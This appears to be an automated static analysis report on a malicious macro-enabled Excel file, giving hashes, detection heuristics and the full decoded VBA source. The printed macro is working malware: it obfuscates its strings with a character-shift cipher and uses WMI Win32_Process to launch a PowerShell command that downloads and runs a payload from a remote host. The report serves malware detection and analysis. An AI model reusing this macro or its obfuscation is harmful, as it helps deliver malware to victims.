Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b2db2b75ce72a906…

MALICIOUS

Office (OOXML)

14.8 KB Created: 2021-07-21 09:55:40 UTC Authoring application: Microsoft Macintosh Excel 16.0300 First seen: 2026-06-04
MD5: f5b6430c2cfeee098922e55133582907 SHA-1: b42896640f479a832eab9c565244df3f4c92e087 SHA-256: b2db2b75ce72a90601f29ae3a392a72f4d5c2777df11fba64ff646507065d025
102 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Water = Nuts(Apples)
    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1677 bytes
SHA-256: afe9c2b5789f764d8a0b1b98e4a1e7974bd21f94a9e0623a2d577f2b109aa822
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function Pears(Beets)
        Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
        Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
        Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
    Do
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))
        Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Function MyMacro()
    Dim Apples As String
    Dim Water As String

    Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066066074063066067065064115128128124063133137133056058058"
    Water = Nuts(Apples)
    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: 35e635b54f0ea01134723d732d1499b3f5355def17df215ab776862cc4faeae5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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